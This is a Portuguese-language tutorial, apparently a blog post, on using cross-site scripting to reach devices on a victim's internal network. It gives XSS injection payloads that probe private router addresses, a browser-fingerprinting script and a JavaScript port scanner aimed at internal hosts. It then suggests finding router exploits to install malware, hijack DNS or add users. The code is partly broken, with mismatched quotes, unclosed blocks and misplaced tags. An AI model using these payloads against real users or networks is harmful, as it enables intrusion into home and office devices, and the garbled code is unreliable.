Os ataques XSS estão se tornando muito poderosos quando combinados com outros ataques. Tudo o que você precisa é fazer com que a vítima execute um XSS no navegador e você terá o controle do navegador da vítima.
O primeiro a entender é que a vítima geralmente está sentada atrás do roteador de rede ou do firewall e talvez sentada em um escritório, fábrica ou em casa, e que isso NÃO funcionará se a vítima estiver usando
banda larga móvel.
Em casa, você encontraria dispositivos conectados à rede, como consoles de jogos, aparelhos de som, dispositivos inteligentes como TV, despertador, luzes, talvez até uma cafeteira inteligente. No entanto, uma empresa como um escritório pode ter uma rede interna de bancos de dados, dispositivos epos, cctv, impressoras, laptops, tablets e telefones, bem como uma entrada de gerenciamento de hotéis, aplicativos de vendas a clientes, bancos de dados, hosts da Web, etc. como uma fábrica ou armazém pode até ter dispositivos industriais, robôs ou software de gerenciamento de armazém hospedado.
Às vezes, você pode SALTAR de um dispositivo para outro usando vários exploits, talvez até mesmo instalar malware fazendo com que a vítima entregue a carga útil usando seu próprio navegador.
Ataque XSS Simples
O teste mais básico para um XSS é <script>alert(1)</script> que pode ser injetado em entradas como formulários, cookies, dados de postagem, etc. Se for bem-sucedido, você verá um pop-up como o acima. Agora dê uma olhada no seguinte, podemos injetar um iframe em um Dê uma olhada no seguinte, este HTML que pode ser injetado em um XSS tenta abrir um favicon.ico em um host interno, que neste caso é um roteador.
Na conexão, um pop-up exibirá se foi bem-sucedido. Agora vamos tentar acessar outra página como o google em um iframe injetando o seguinte.
<iframe src="http://google.com">
Primeiro, você notará que, se tentar obter uma página http de uma página https, não funcionará.
Se o site estiver vulnerável, você verá o google em uma janela dentro da página da web. Então sabemos que podemos nos conectar a outros sites, e fazer da vítima outras outras páginas.
O que acontece se expandirmos isso e enviarmos o seguinte.
<img src="https://192.168.0.1">
Adivinha o que isso faz.
Ele se conecta a um roteador no ip 192.168.0.1, que é o ip padrão para um roteador doméstico ou comercial.
Mais uma vez, a página é carregada no contexto do navegador da vítima. Agora, isso é interessante, pois significa que podemos interagir com outros dispositivos na rede local.
Agora vamos jogar.
Fazendo um script de ataque.
A primeira etapa ao criar um script de ataque é determinar qual navegador você está executando.
Crie um arquivo chamado attackscript.html usando o bloco de notas e digite o seguinte.
<!DOCTYPE html PUBLIC"-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
</head>
<body>
<script>
</script>
</body>
</html>
Este é um arquivo html em branco e pode ser aberto usando seu navegador da web. será exibido, porém a página é formatada para nós.
Dentro das tags <script> </script> cole o seguinte Para que attackscript.html se pareça com o seguinte
<!DOCTYPE html PUBLIC"-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>Nothing</head>
<body>
<script>
if(navigator.userAgent.indexOf("Chrome") != -1 )
{
alert('Chrome');
}
else if(navigator.userAgent.indexOf("Firefox") != -1 )
{
alert('Firefox');
}
else if((navigator.userAgent.indexOf("Edge") != -1 )
{
alert('Edge');
}
</script>
</body>
</html>
O acima detecta se você está usando firefox, chrome ou Microsoft edge, no entanto, podemos adicionar mais navegadores encontrando seu agente de usuário e escolhendo uma palavra-chave relevante. Embora os navegadores da Web façam o mesmo trabalho, como exibir mídia ou conectar-se a recursos, eles podem funcionar de maneira diferente e oferecer um conjunto diferente de ferramentas.
O Microsoft edge, por exemplo, pode executar vbs, bem como javascript, e se vincula aos produtos da microsoft. O Google Chrome conecta-se muito bem com os produtos do Google, enquanto o Firefox é um ótimo multifuncional. Ao determinar qual navegador a vítima está usando, podemos planejar ataques mais devastadores.
Identificação de dispositivos acessíveis.
Então, como podemos identificar se existem dispositivos? Acho que o primeiro passo seria encontrar o endereço da rede local e, como antes, testar o primeiro dispositivo para um roteador.
<img src="http://192.168.1.1/favicon.ico">
Como antes, isso abre a página da Web no roteador, no entanto, adicionamos um favicon.ico que geralmente está presente em vários dispositivos. Ao identificar certas características de diferentes dispositivos, podemos descobrir tipos, marcas, modelos e agir de acordo.
Por exemplo
, isso abre algumas possibilidades interessantes. Como explicamos antes, existem vários dispositivos em redes que podem ser acessados, não apenas roteadores. Para determinar o que está na rede, precisamos usar um portscanner. Um scanner de porta é uma ferramenta usada para escanear a rede e identificar os dispositivos aos quais podemos nos conectar. Usando um scanner de portas, podemos descobrir quais dispositivos estão localizados em qual endereço IP e quais portas ou serviços estão abertos.
Para isso, usaremos um portscanner baseado em javascript.
<script>
PortScanner = {};
PortScanner.scanPort = function (callback, target, port, timeout) {
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, ‘open’);
};
img.onload = img.onerror;
img.src = ‘http://’ + target + ‘:’ + port;
setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, ‘closed’);
}, timeout);
PortScanner.scanTarget = function (callback, target, ports, timeout)
{
for (index = 0; index < ports.length; index++)
PortScanner.scanPort(callback, target, ports[index], timeout);
};’
<script>
Como você pode ver no código acima do portscanner, will callback(target, port, 'open'); se a porta estiver aberta. Se a porta estiver fechada, callback(target, port, 'closed'); será chamado. Portanto, temos uma maneira de identificar portas abertas e fechadas. Podemos expandir isso, visando determinadas portas.
Agora podemos modificar o script para executar um retorno de chamada em várias portas.
<script>
target = “192.168.0.1”
PortScanner = {};
PortScanner.scanPort = function (callback, target, port, timeout) {
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
img = undefined;
if (!img) return;
callback(target, port, ‘open’);
};
img.onload = img.onerror;
img.src = ‘http://’ + target + ‘:’ + port;
setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, ‘closed’);
}, timeout);PortScanner.scanTarget = function (callback, target, ports, timeout)
{
for (index = 0; index < ports.length; index++)
PortScanner.scanPort(callback, target, ports[index], timeout);
};’
<script>
Agora temos uma base para um scanner de portas, então agora podemos começar a olhar mais profundamente nas portas, mas primeiro vamos olhar para alguns dispositivos.
Roteadores Os
roteadores geralmente operam na porta 80.8080.443, mas às vezes têm serviços abertos para o mundo exterior. Freqüentemente, o ssh e o tftp serão ativados e as portas upnp serão abertas na LAN. Isso significa que você pode enviar solicitações upnp. Alguns ataques podem ser executados sem uma pesquisa de senha em exploit-db.com para encontrar execução remota não autenticada, o que significa que você pode instalar malware no roteador, como DDOS ou executar ataques de sequestro de DNS. Você pode até executar várias tarefas, como adicionar a si mesmo aos usuários ou abrir portas, habilitar o gerenciamento da Web ou obter arquivos de configuração.
Agora que você entende como executar manualmente um XSS, procure maneiras de melhorar isso.